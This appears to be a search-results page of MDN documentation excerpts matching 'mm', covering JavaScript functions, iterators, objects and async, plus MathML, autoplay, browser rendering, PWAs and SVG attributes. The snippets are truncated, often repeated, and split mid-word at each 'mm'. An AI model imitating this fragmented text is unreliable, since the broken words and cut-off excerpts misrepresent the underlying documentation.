... 6, 7, 9] var a3 = a.map(s => s.length); console.log(a3); // logs [8, 6, 7, 9] no separate this until arrow functions, every new function defined its own this value (a new object in the case of a constructor, undefined in strict mode function calls, the base object if the function is called as an "object method", etc.). this proved to be less than ideal with an object-oriented style of progra
mming. function person() { // the person() constructor defines `this` as itself. this.age = 0; setinterval(function growup() { // in nonstrict mode, the growup() function defines `this` // as the global object, which is different from the `this` // defined by the person() constructor. this.age++; }, 1000); } var p = new person(); in ecmascript 3/5, this issue was fixed by...
Iterators and generators - JavaScript
javascript provides a number of ways of iterating over a collection, from simple for loops to map() and filter(). iterators and generators bring the concept of iteration directly into the core language and provide a mechanism for customizing the behavior of for...of loops. for details, see also: iteration_protocols for...of function* and generator yield and yield* iterators in javascript an iterator is an object which defines a sequence and potentially a return value upon its termination. ...
... value is present alongside done, it is the iterator's return value. once created, an iterator object can be iterated explicitly by repeatedly calling next(). iterating over an iterator is said to consume the iterator, because it is generally only possible to do once. after a terminating value has been yielded additional calls to next() should simply continue to return {done: true}. the most co
mmon iterator in javascript is the array iterator, which simply returns each value in the associated array in sequence. while it is easy to imagine that all iterators could be expressed as arrays, this is not true. arrays must be allocated in their entirety, but iterators are consumed only as necessary. because of this, iterators can express sequences of unlimited size, such as the range of integer...
...// 1 3 5 7 9 result = it.next(); } console.log("iterated over sequence of size: ", result.value); // [5 numbers returned, that took interval in between: 0 to 10] note: it is not possible to know reflectively whether a particular object is an iterator. if you need to do this, use iterables. generator functions while custom iterators are a useful tool, their creation requires careful progra
mming due to the need to explicitly maintain their internal state. generator functions provide a powerful alternative: they allow you to define an iterative algorithm by writing a single function whose execution is not continuous. generator functions are written using the function* syntax. when called, generator functions do not initially execute their code. instead, they return a special type of i...
... as array or map, have a default iteration behavior, while other types (such as object) do not. in order to be iterable, an object must implement the @@iterator method. this simply means that the object (or one of the objects up its prototype chain) must have a property with a symbol.iterator key. it may be possible to iterate over an iterable more than once, or only once. it is up to the progra
mmer to know which is the case. iterables which can iterate only once (such as generators) customarily return this from their @@iterator method, whereas iterables which can be iterated many times must return a new iterator on each invocation of @@iterator. function* makeiterator() { yield 1; yield 2; } const it = makeiterator(); for (const ititem of it) { console.log(ititem); } cons...
Working with objects - JavaScript
etween a name (or key) and a value. a property's value can be a function, in which case the property is known as a method. in addition to objects that are predefined in the browser, you can define your own objects. this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects. objects overview objects in javascript, just as in many other progra
mming languages, can be compared to objects in real life. the concept of objects in javascript can be understood with real life, tangible objects. in javascript, an object is a standalone entity, with properties and type. compare it with a cup, for example. a cup is an object, with properties. a cup has a color, a design, weight, a material it is made of, etc. the same way, javascript objects can h...
...d be a normal variable) and property name are case sensitive. you can define a property by assigning it a value. for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a co
mma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null). mycar.color; // undefined properties of javascript objects can also be accessed or set using a bracket notation (for more details see ...
...ifier (for example, a property name that has a space or a hyphen, or that starts with a number) can only be accessed using the square bracket notation. this notation is also very useful when property names are to be dynamically determined (when the property name is not determined until runtime). ...
...if you already go for the object initializer when defining a prototype you will probably most of the time choose the first form. this form is more compact and natural. however, if you need to add getters and setters later — because you did not write the prototype or particular object — then the second form is the only possible form. the second form probably best rep...
SyntaxError: missing } after property list - JavaScript
the javascript exception "missing } after property list" occurs when there is a mistake in the object initializer syntax somewhere. might be in fact a missing curly bracket, but could also be a missing co
mma. message syntaxerror: expected '}' (edge) syntaxerror: missing } after property list (firefox) error type syntaxerror what went wrong? ...
...ke in the object initializer syntax somewhere. might be in fact a missing curly bracket, but could also be a missing co
mma. message syntaxerror: expected '}' (edge) syntaxerror: missing } after property list (firefox) error type syntaxerror what went wrong? ...
...fox) error type syntaxerror what went wrong? ...
...ent wrong? ...
SyntaxError: missing variable name - JavaScript
the javascript exception "missing variable name" occurs way too often as naming things is so hard. or maybe a co
mma is wrong. check for typos! message syntaxerror: missing variable name (firefox) syntaxerror: unexpected token = (chrome) error type syntaxerror what went wrong? a variable is missing a name. this is likely due to a syntax error in your code. probably a co
mma is wrong somewhere or you struggled with coming up with a name. totally understandable! naming things is so hard. check to ensure the previous lines / declaration does not end with a co
mma instead of a semi-colon. examples missing a variable name var = "foo"; it's tough coming up with good variable names. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a f...
... examples missing a variable name var = "foo"; it's tough coming up with good variable names. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords. you can't use these. ...
... coming up with good variable names. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords. you can't use these. sorry :( var debugger = "whoop"; // syntaxerror: missing variable name declaring multiple variables pay special attention to co
mmas when declaring multiple variables. ...
...mes. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords. you can't use these. sorry :( var debugger = "whoop"; // syntaxerror: missing variable name declaring multiple variables pay special attention to co
mmas when declaring multiple variables. ...
Functions - JavaScript
the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error. as we can see, both examples do not start with the function keyword. statements involving functions which do not start with function are function expressions. when functions are used only once, a co
mmon pattern is an iife (i
mmediately invoked function expression). (function() { statements })(); iife are function expressions that are invoked as soon as the function is declared. the generator function declaration (function* statement) there is a special syntax for generator function declarations (see function* statement for details): function* name([param[, param[, ... param]]]) { st...
... arguments need to be indicated with (). for only one argument, the parentheses are not required. (like foo => 1) statements or expression multiple statements need to be enclosed in brackets. a single expression requires no brackets. the expression is also the implicit return value of the function. the function constructor note: using the function constructor to create functions is not reco
mmended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. as all other objects, function objects can be created using the new operator: new function (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal parameters. each must be a proper javascript identifie...
...y. invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. the generatorfunction constructor note: generatorfunction is not a global object, but could be obtained from generator function instance (see generatorfunction for more detail). note: using the generatorfunction constructor to create functions is not reco
mmended since it needs the function body as a string which may prevent some js engine optimizations and can also cause other problems. as all other objects, generatorfunction objects can be created using the new operator: new generatorfunction (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal argument names. each must be a strin...
...so cause other problems. as all other objects, generatorfunction objects can be created using the new operator: new generatorfunction (arg1, arg2, ... argn, functionbody) arg1, arg2, ... argn zero or more names to be used by the function as formal argument names. each must be a string that conforms to the rules for a valid javascript identifier or a list of such strings separated with a co
mma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascript statements comprising the function definition. invoking the generatorfunction constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. function parameters default parameters default function parameters allow formal parameters to be initialized w...
async function - JavaScript
al start==') // 1. execution gets here almost instantly const slow = await resolveafter2seconds() console.log(slow) // 2. this runs 2 seconds after 1. const fast = await resolveafter1second() console.log(fast) // 3. this runs 3 seconds after 1. ...
...t slow = await resolveafter2seconds() console.log(slow) // 2. this runs 2 seconds after 1. const fast = await resolveafter1second() console.log(fast) // 3. this runs 3 seconds after 1. } async function concurrentstart() { console.log('==concurrent start with await=='); const slow = resolveafter2seconds() // starts timer i
mmediately const fast = resolveafter1second() // starts timer i
mmediately // 1. ...
...s after 1. } async function concurrentstart() { console.log('==concurrent start with await=='); const slow = resolveafter2seconds() // starts timer i
mmediately const fast = resolveafter1second() // starts timer i
mmediately // 1. execution gets here almost instantly console.log(await slow) // 2. this runs 2 seconds after 1. console.log(await fast) // 3. ...
... try { return await processdatainworker(v) // note the `return await` vs. just `return` } catch (e) { return null } } writing return processdatainworker(v) would have caused the promise returned by the function to reject, instead of resolving to null if processdatainworker(v) rejects. this highlights the subtle difference between return foo; and return await foo; — return foo i
mmediately returns foo and never throws, even if foo is a promise that rejects. return await foo will wait for foo to resolve or reject if it's a promise, and throws before returning if it rejects. specifications specification ecmascript (ecma-262)the definition of 'async function' in that specification. ...
Values - MathML
that accept length values used for size or spacing. mathml accepts different units and constants for specifying lengths. units unit description em font-relative unit ex font-relative unit. ...
...m centimeters
mm millimeters pt points (1 point = 1/72 inch) pc picas (1 pica = 12 points) % percentage of the default value. ...
...1111em thinmathspace => 0.16666666666666666em mediu
mmathspace => 0.2222222222222222em thickmathspace => 0.2777777777777778em verythickmathspace => 0.3333333333333333em veryverythickmathspace => 0.3888888888888889em constant value veryverythinmathspace 1/18em verythinmathspace 2/18em thinmathspace 3/18em mediu
mmathspace 4/18em thickmathspace 5/18em verythickmathspace 6/18em veryverythickmathspace 7/18em negative contstants are introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) (bug 650530) negativeveryverythinmathspace -1/18em negativeverythinmathspace -2/18em negativethinmathspace -3/18em ...
... ...
<mo> - MathML
attributes accent if the operator is used as an under- or overscript this attribute specifies whether the operator should be treated as an accent. allowed values are true or false. class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). ...
...hed under- and overscripts move to sub- and superscript positions when displaystyle is false. allowed values are either true or false. rspace the amount of space after the operator (see length for values and units). the constant thickmathspace (5/18em) is the default value. separator there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as co
mmas). allowed values are true or false. stretchy specifies whether the operator stretches to the size of the adjacent element. allowed values are true or false. sy
mmetric if stretchy is true, this attribute specifies whether the operator should be vertically sy
mmetric around the imaginary math axis (centered fraction line). the default value is true if stretchy is set to true and otherwise f...
...e. allowed values are true or false. ...
...>+</mo> <mn>5</mn> </mrow> <mrow> <mo> [ </mo> <!-- default form value: prefix --> <mrow> <mn> 0 </mn> <mo> ; </mo> <!-- default form value: infix --> <mn> 1 </mn> </mrow> <mo> ) </mo> <!-- default form value: postfix --> </mrow> </math> specifications specification status co
mment mathml 3.0the definition of 'mo' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mo' in that specification. reco
mmendation initial specification ...
<mpadded> - MathML
fixed with "+" or "-") . pseudo-units it is possible to use the keywords "depth", "height", and "width" as a pseudo-unit for the attributes depth, height, lspace, voffset, and width. they represent each length of the same-named dimension. ...
...rior to gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) the mathml2 pseudo-unit lspace was allowed, which is no longer present in the mathml3 reco
mmendation and has been removed now. examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status co
mment mathml 3.0the definition of 'mpadded' in that specification. ...
...it lspace was allowed, which is no longer present in the mathml3 reco
mmendation and has been removed now. examples <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status co
mment mathml 3.0the definition of 'mpadded' in that specification. ...
...es <math> <mpadded height="+150px" width="100px" lspace="2height"> <mi> x </mi> <mo> + </mo> <mi> y </mi> </mpadded> </math> specifications specification status co
mment mathml 3.0the definition of 'mpadded' in that specification. reco
mmendation current specification mathml 2.0the definition of 'mpadded' in that specification. reco
mmendation initial specification ...
<mspace> - MathML
es and units). linebreak indicates a line-break at the space. possible values: auto (default value), newline, nobreak, goodbreak, badbreak. starting with mathml 3, it is preferred to use <mo> to control linebreaking. mathbackground the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). ...
...ound the background color. you can use #rgb, #rrggbb and html color names. width the desired width of the space (see length for values and units). note that some co
mmon attributes like mathcolor, mathvariant or dir have no effect on <mspace>. ...
...e desired width of the space (see length for values and units). note that some co
mmon attributes like mathcolor, mathvariant or dir have no effect on <mspace>. examples <math> <mspace depth="40px" height="20px" /> <mspace width="100px" /> </math> specifications specification status co
mment mathml 3.0the definition of 'mspace' in that specification. ...
...r, mathvariant or dir have no effect on <mspace>. ...
Autoplay guide for media and Web Audio APIs - Web media technologies
while autoplay of media serves a useful purpose, it should be used carefully and only when needed. in order to give users control over this, browsers often provide various forms of autoplay blocking. in this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully. autoplay blocking is not applied to <video> elements when the source media does not have an audio track, or if the audio track is muted. ...
...herwise, the playback will likely be blocked. the exact situations that result in blocking, and the specifics of how sites become whitelisted vary from browser to browser, but the above are good guidelines to go by. for details, see the auto-play policies for google chrome and webkit. note: put another way, playback of any media that includes audio is generally blocked if the playback is progra
mmatically initiated in a tab which has not yet had any user interaction. browsers may additionally choose to block under other circumstances. autoplay of media elements now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips fo...
...een started up. note: this approach doesn't differentiate between autoplay and the user starting playback manually. the play() method the term "autoplay" also refers to scenarios in which a script tries to trigger the playback of media that includes audio, outside the context of handling a user input event. this is done by calling the media element's play() method. note: it is strongly reco
mmended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatically. it also lets the browser take responsibility for starting playback, letting it optimize the timing of that taking place. example: playing video this simple example plays the first <video> element...
...oplay 'src' https://example.media"> </iframe> example: disabling autoplay setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. the http header is: feature-policy: autoplay 'none' using the <iframe>'s allow attribute: <iframe src="mediaplayer.html" allow="autoplay 'none'"> </iframe> best practices tips and reco
mmended best practices to help you make the most of working with autoplay are offered here. handling autoplay failure with media controls a co
mmon use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. to autoplay videos like these, you have two options: don't have an audio track, or hav...
Populating the page: how browsers work - Web Performance
to touch. render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are i
mmediate. navigation navigation is the first step in loading a web page. it occurs whenever a user requests a page by entering a url into the address bar, clicking a link, submitting a form, as well as other actions. one of the goals of web performance is to minimize the amount of time a navigation takes to complete. in ideal conditions, this usually doesn't take too long, but latency and bandwid...
... on a mobile network, each dns lookup has to go from the phone to the cell tower to reach an authoritative dns server. the distance between a phone, a cell tower, and the name server can add significant latency. tcp handshake once the ip address is known, the browser sets up a connection to the server via a tcp three-way handshake. this mechanism is designed so that two entities attempting to co
mmunicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https. tcp's three way handshaking technique is often referred to as "syn-syn-ack"—or more accurately syn, syn-ack, ack—because there are three messages transmitted by tcp to negotiate and start a tcp session between two computers. yes, thi...
...hree messages transmitted by tcp to negotiate and start a tcp session between two computers. yes, this means three more messages back and forth between each server, and the request has yet to be made. tls negotiation for secure connections established over https, another "handshake" is required. this handshake, or rather the tls negotiation, determines which cipher will be used to encrypt the co
mmunication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data. this requires three more round trips to the server before the request for content is actually sent. while making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the w...
...ayout on the render tree to compute the geometry of each node. layout is the process by which the width, height, and location of all the nodes in the render tree are determined, plus the determination of the size and position of each object on the page. reflow is any subsequent size and position determination of any part of the page or the entire document. once the render tree is built, layout co
mmences. the render tree identified which nodes are displayed (even if invisible) along with their computed styles, but not the dimensions or location of each node. to determine the exact size and location of each object, the browser starts at the root of the render tree and traverses it. on the web page, most everything is a box. different devices and different desktop preferences mean an unlimite...
Progressive web app structure - Progressive web apps (PWAs)
we will start with analyzing the js13kpwa application, why it is built that way, and what benefits it brings. architecture of an app there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new html content. ...
...here is also a new approach involving the streams api, which we'll mention briefly. app shell the app shell concept is concerned with loading a minimal user interface as soon as possible and then caching it so it is available offline for subsequent visits before then loading all the contents of the app. that way, the next time someone visits the app from the device, the ui loads from the cache i
mmediately and any new content is requested from the server (if it isn’t available in the cache already). this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page. it also allows the website to be accessible offline if the network connection is not available. we can control what is requested from the server and what is retri...
... <h1>js13kgames a-frame entries</h1> <p class="description">list of games submitted to the <a href="http://js13kgames.com/aframe">a-frame category</a> in the <a href="http://2017.js13kgames.com">js13kgames 2017</a> competition. ...
...cyberspace', author: 'zosia and bartek', twitter: 'bartaz', website: '', github: 'github.com/bartaz/lost-in-cyberspace' }, { slug: 'vernissage', name: 'vernissage', author: 'platane', twitter: 'platane_', website: 'github.com/platane', github: 'github.com/platane/js13k-2017' }, // ... { slug: 'e
mma-3d', name: 'e
mma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/e
mma-3d' } ]; every entry has its own image in the data/img folder. this is our content, loaded into the content section with javascript. next up in the next article we will look in more detail at how the app shell and the content are cached f...
Media - Progressive web apps (PWAs)
the primary site menu. in the markup language, the navigation area's parent element has the id nav-area. (in html5, this can be marked up with the <nav> element instead of <div> with an id attribute.) when printing the document, the navigation area has no purpose. this css (below) removes the navigation area when printing the document: @media print { #nav-area {display: none;} } some co
mmon media types are: screen color device display print printed paged media projection projected display all all media (the default) more details there are other ways to specify the media type for a set of rules. the document's markup language might allow the media type to be specified when the stylesheet is linked to the document. for examp...
...ter page in this tutorial: xml data. printing css has specific support for printing and for paged media in general. a @page rule can set the page margins. for double-sided printing, you can specify the margins separately for @page:left and @page:right. for print media, you normally use appropriate length units like inches (in) and points (pt = 1/72 inch), or centimeters (cm) and millimeters (
mm). it is equally appropriate to use ems (em) to match the font size, and percentages (%). you can control how the content of the document breaks across page boundaries, by using the page-break-before, page-break-after and page-break-inside properties. example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element starts on...
...t is a hyperlink to a url that the user has not visited recently e:visited any e element that is a hyperlink to a url that the user has visited recently note: the information that can be obtained from the :visited selector is restricted in gecko 2.0. see privacy and the : visited selector for more details. the cursor property specifies the shape of the pointer: some of the co
mmon shapes are as follows. place your mouse over the items in this list to see the actual pointer shapes in your browser: selector selects pointer indicating a link wait indicating that the program cannot accept input progress indicating that the program is working, but can still accept input default the default (usually an arrow) ...
... ...
Mobile first - Progressive web apps (PWAs)
therefore we should try to simplify things on mobile, keeping each view cut down to a single, simple purpose where possible, and reducing the amount of typing users are expected to do. the latter will please desktop users as well as mobile users! usage context on top of everything else, you must consider the kinds of situations mobile devices will be used in, and the kinds of tasks users most co
mmonly want to perform on mobiles. a phrase you'll read in a few places is "one eyeball, one thumb", referring to how much of the user's attention you are likely to have. of course, your users will be concentrating on what they're doing, but they are likely to be in a car with bad lighting, or in a noisy bar with the sport on tv in the background! you need to consider this, and again make sure your ...
... mechanism on mobile. so, if you were planning to have a vertical navigation menu on desktop, you might replace this on mobile with a select menu containing the options, or even a single button that when pressed brings the navigation options up in an overlay. second, a popular option is to put the navigation menu down at the bottom of the page rather than up at the top as the expectation would co
mmonly be. this puts the content first at the top of the page and means that when the user has reached the end of a page, they have a signpost giving them an idea of where to go next. third, combining the two is also a good option — why not have a single button at the top of the page, which links to an anchor on the nav menu at bottom of the page? you could then also provide a link to get back up...
...onstrate the concepts, i wanted to cover in this article, i created a very simple app containing a nav menu, heading and single column of text. you can see my mobile first example running live, or grab the code to play with it on github. to make my simple example i created a sample app structure from a mozilla mortar template. ...
... volo build: builds a minified code version of your app, ready for production deployment, in a www-built folder. ...
The building blocks of responsive design - Progressive web apps (PWAs)
one approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. ...
...eo weight (size in kb) responsive as well as the dimensions of the image on screen. yes, you want the images to be contained inside the app ui whether you are using it on desktop or mobile, but you should also consider that mobile apps have much smaller viewport dimensions available than desktop apps, so you should try to give mobile devices a smaller image to download. mobiles in general (more co
mmonly in some parts of the world than others) are on lower bandwidth connections and have less memory available than desktop devices, so yes, those extra kilobytes really do count. another challenge is dealing with high resolution screens — raster graphics designed for low resolutions are in danger of appearing tiny when displayed on a high resolution screen, so devices often apply a default zoo...
... html images are a more difficult proposition. there is no mechanism inherent in html images for serving different image files dependent on viewport size, and, due to a number of irksome browser behavior realities, solutions are more difficult to hack together than you would imagine. there are currently some standards proposals in the works that would provide this — the w3c responsive images co
mmunity group discussed this problem for ages and arrived at the <picture> element, which provides a similar markup structure to <video>, with <source> alternatives selectable via media query results. another proposal, srcset, was put forward by apple and takes a slightly different approach, instead providing a new srcset attribute for <img> inside which image references are placed along with "hints...
...thematical algorithms rather than containing separate data on every pixel in the image, they tend to be smaller in file size, and are infinitely scalable when zoomed or viewed on high resolution devices (at least, in theory). some ideas follow, which also help to keep the number of http requests down — another key factor in mobile app performance: you should try to use css3 features to progra
mmatically generate graphical effects where possible, rather than relying on image files. these include rounded corners, gradients, and drop shadows. these scale as the resolution changes or the browser zooms. although they are not supported very well on older browsers such as internet explorer 6-8, this is not too much of a concern when you are creating an interface aimed at modern devices, and the...
direction - SVG: Scalable Vector Graphics
scalable vector graphics (svg) 1.1 (second ...
...x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status co
mment css writing modes module level 3the definition of 'direction' in that specification. ...
...value ltr | rtl default value ltr animatable yes specifications specification status co
mment css writing modes module level 3the definition of 'direction' in that specification. proposed reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification. candidate reco
mmendation refers to the css writing modes specification of the direction property. ...
...direction' in that specification. proposed reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'direction' in that specification. candidate reco
mmendation refers to the css writing modes specification of the direction property. ...
image-rendering - SVG: Scalable Vector Graphics
auto indicates that the user agent shall make appropriate tradeoffs to balance speed and quality, but quality shall be given more importance than speed. optimizespeed indicates that the user agent shall emphasize rendering speed over quality. optimizequality indicates that the user agent shall emphasize quality over rendering speed. ...
... be given more importance than speed. optimizespeed indicates that the user agent shall emphasize rendering speed over quality. optimizequality indicates that the user agent shall emphasize quality over rendering speed. specifications specification status co
mment css images module level 3the definition of 'image-rendering' in that specification. ...
...ndicates that the user agent shall emphasize quality over rendering speed. specifications specification status co
mment css images module level 3the definition of 'image-rendering' in that specification. candidate reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'image-rendering' in that specification. ...
...ndering' in that specification. candidate reco
mmendation definition in css scalable vector graphics (svg) 2the definition of 'image-rendering' in that specification. candidate reco
mmendation no significant change, only added a reference to css images 3 scalable vector graphics (svg) 1.1 (second edition)the definition of 'image-rendering' in that specification. ...
in2 - SVG: Scalable Vector Graphics
lace the pixels in the image defined in the in attribute. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes specifications specification status co
mment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification. working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification. working draft no change filter effects module level 1the definition of 'in2 for <feblend>' in that specification. working draft n...
... filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification. working draft no change filter effects module level 1the definition of 'in2 for <feblend>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fedisplacementmap>' in that specification. ...
...'in2 for <feblend>' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fedisplacementmap>' in that specification. reco
mmendation initial definition for <fedisplacementmap> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fecomposite>' in that specification. ...
...' in that specification. reco
mmendation initial definition for <fedisplacementmap> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <fecomposite>' in that specification. reco
mmendation initial definition for <fecomposite> scalable vector graphics (svg) 1.1 (second edition)the definition of 'in2 for <feblend>' in that specification. ...
kernelUnitLength - SVG: Scalable Vector Graphics
one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable. if a negative or zero value is specified the default value will be used instead. value <number-optional-number> default value pixel in offscreen bitmap animatable yes specifications specification status co
mment filter effects module level 1the definition of 'kernelunitlength for <fespecularlighting>' in that specification. working draft marked the attribute as deprecated. filter effects module level 1the definition of 'kernelunitlength for <fediffuselighting>' in that specification. working draft marked the attribute as deprecated. filter effects module leve...
...specification. working draft marked the attribute as deprecated. filter effects module level 1the definition of 'kernelunitlength for <feconvolvematrix>' in that specification. working draft marked the attribute as deprecated. scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fespecularlighting>' in that specification. ...
... marked the attribute as deprecated. scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fespecularlighting>' in that specification. reco
mmendation initial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fediffuselighting>' in that specification. ...
...itial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'kernelunitlength for <fediffuselighting>' in that specification. ...
refX - SVG: Scalable Vector Graphics
marker contents, after application of the viewbox and preserveaspectratio attributes. left the reference point of the marker is placed at the left edge of the shape. center the reference point of the marker is placed at the horizontal center of the shape. right the reference point of the marker is placed at the right edge of the shape. ...
...the marker is placed at the left edge of the shape. center the reference point of the marker is placed at the horizontal center of the shape. right the reference point of the marker is placed at the right edge of the shape. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refx' in that specification. candidate reco
mmendation added keywords left, center, and right. ...
...rence point of the marker is placed at the right edge of the shape. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refx' in that specification. candidate reco
mmendation added keywords left, center, and right. scalable vector graphics (svg) 2the definition of 'refx' in that specification. ...
...aphics (svg) 2the definition of 'refx' in that specification. candidate reco
mmendation added keywords left, center, and right. scalable vector graphics (svg) 2the definition of 'refx' in that specification. ...
refY - SVG: Scalable Vector Graphics
e marker contents, after application of the viewbox and preserveaspectratio attributes. top the reference point of the marker is placed at the top edge of the shape. center the reference point of the marker is placed at the vertical center of the shape. bottom the reference point of the marker is placed at the bottom edge of the shape. ...
... the marker is placed at the top edge of the shape. center the reference point of the marker is placed at the vertical center of the shape. bottom the reference point of the marker is placed at the bottom edge of the shape. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refy' in that specification. candidate reco
mmendation added keywords left, center, and right. ...
...ence point of the marker is placed at the bottom edge of the shape. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'refy' in that specification. candidate reco
mmendation added keywords left, center, and right. scalable vector graphics (svg) 2the definition of 'refy' in that specification. ...
...aphics (svg) 2the definition of 'refy' in that specification. candidate reco
mmendation added keywords left, center, and right. scalable vector graphics (svg) 2the definition of 'refy' in that specification. ...
requiredExtensions - SVG: Scalable Vector Graphics
e escaped. requiredextensions is often used in conjunction with the <switch> element. if the attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several extension reference objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus reco
mmended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases. if the attribute is not present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script wr...
... present, then it implicitly evaluates to "true". if a null string or empty string value is given, the attribute evaluates to "false". ...
...se". the iri names for the extension should include versioning information, such as "http://example.org/svgextensionxyz/1.0", so that script writers can distinguish between different versions of a given extension. ...
...etween different versions of a given extension. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'requiredextensions' in that specification. ...
rx - SVG: Scalable Vector Graphics
th of the rectangle, then the browser will consider the value for rx as half of the width of the rectangle. value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for rects. ...
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'rx' in that specification. ...
... meaning this attribute can also be used as a css property for rects. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'rx' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification. ...
...graphics (svg) 2the definition of 'rx' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification. ...
ry - SVG: Scalable Vector Graphics
th of the rectangle, then the browser will consider the value for ry as half of the width of the rectangle. value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for rects. ...
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for rects. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'ry' in that specification. ...
... meaning this attribute can also be used as a css property for rects. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'ry' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification. ...
...graphics (svg) 2the definition of 'ry' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification. ...
stroke-dasharray - SVG: Scalable Vector Graphics
